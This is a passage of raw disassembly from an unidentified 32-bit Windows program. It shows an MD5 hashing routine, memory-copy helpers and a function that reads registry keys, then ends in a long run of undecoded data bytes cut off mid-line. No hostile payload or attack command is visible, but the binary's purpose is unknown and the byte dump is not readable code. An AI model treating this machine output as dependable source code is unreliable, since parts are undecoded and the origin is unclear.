ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_434BF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434C30 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_434C5B inc dword ptr [esi+14h] loc_434C5B: ; CODE XREF: sub_434C30+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_434CB9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_435A30 lea ecx, [esi+18h] push ecx push esi call sub_434DA0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_434CB5 loc_434C99: ; CODE XREF: sub_434C30+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_434DA0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_434C99 loc_434CB5: ; CODE XREF: sub_434C30+67j xor eax, eax jmp short loc_434CBB ; --------------------------------------------------------------------------- loc_434CB9: ; CODE XREF: sub_434C30+41j xor ebp, ebp loc_434CBB: ; CODE XREF: sub_434C30+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_435A30 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_434C30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434D10 proc near ; CODE XREF: sub_402176j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_435950 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_434D43 mov ecx, 78h loc_434D43: ; CODE XREF: sub_434D10+2Cj sub ecx, eax push ecx push offset aA ; "" push edi call sub_401C26 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C26 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_435950 push 58h push 0 push edi call sub_435A60 add esp, 30h pop edi pop esi add esp, 8 retn sub_434D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434DA0 proc near ; CODE XREF: sub_434C30+58p ; sub_434C30+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4359C0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_435A60 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_434DA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435950 proc near ; CODE XREF: sub_434D10+14p ; sub_434D10+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_435997 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43596A: ; CODE XREF: sub_435950+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43596A pop esi loc_435997: ; CODE XREF: sub_435950+7j pop edi retn sub_435950 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_435A0A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4359DD: ; CODE XREF: sub_4359C0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4359DD pop edi pop esi loc_435A0A: ; CODE XREF: sub_4359C0+7j pop ebp retn sub_4359C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep ; sub_434C30+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_435A4C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_435A43: ; CODE XREF: sub_435A30+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_435A43 loc_435A4C: ; CODE XREF: sub_435A30+7j pop esi retn sub_435A30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A60 proc near ; CODE XREF: sub_434D10+60p ; sub_434DA0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_435A8E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_435A8E: ; CODE XREF: sub_435A60+6j retn sub_435A60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_435AA0 proc near ; CODE XREF: sub_401C21j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_435AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_435AA0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_435B90: ; CODE XREF: ___:loc_401F3Cj push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43D116 push eax mov eax, 16D4h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436148 push 80h mov dword ptr [esp+1Ch], 800h call near ptr 77C2C407h nop add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_444600 ; " " push 1 push eax call sub_4016B8 push 800h mov dword ptr [esp+16F0h], 0 call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0E43D89C0h dd 0F3005103h, 779CBEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004445h, 0B10E890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0E8BF0000h, 0F3005103h dd 3E4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D3868h dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D808568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch dd 4DA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h dd 448F40h, 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h dd 424848Dh, 51000001h, 44C75250h, 4424h, 5DE80000h, 900248A2h dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h dd 0EF4h, 68575052h, 80000003h, 402444C7h, 800h, 49A217E8h dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h dd 55004446h, 20244489h, 9A0E890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F4h, 0F310C483h, 100B9ABh, 0E8BF0000h, 0F3005103h dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h dd 250A1BCh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h, 24548B0Bh dd 0E8905210h, 24DA190h, 8D08568Bh, 8D182444h, 6E4248Ch dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h dd 444D38h, 0E8694F8Dh, 0FFFCB62Dh, 938F8Ah, 8A500000h dd 9487h, 68515000h, 4D8085h, 0FCB98EE8h, 1CC483FFh, 1024548Bh dd 29E89052h, 8B024DA1h, 8B24247Ch, 47142444h, 7C89F83Bh dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h dd 10C683FFh, 79ECFE81h, 8C0F0044h, 0FFFFFD2Ah, 17642D8Bh dd 448D0051h, 68501C24h, 20019h, 7868006Ah, 6800447Bh dd 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 448A34h, 85D3FF50h, 0BE850FC0h dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B6C6800h dd 0F08B0044h, 8A246851h, 90560044h, 1C0829E8h, 4E746800h dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h dd 448D5374h, 0C687C24h, 5000448Ah, 1C9EE890h, 0C4837781h dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89F06851h, 4A8D0044h dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah dd 52510000h, 4D808568h, 0B855E800h, 0C483FFFCh, 0A6E85718h dd 907780AAh, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h dd 24448B04h, 0D9E8501Ch, 90024D9Fh, 1C244C8Dh, 182444C7h dd 80h, 196851h, 6A0002h, 4489C868h, 26800h, 0D5FF8000h dd 1C244C8Bh, 1824548Dh, 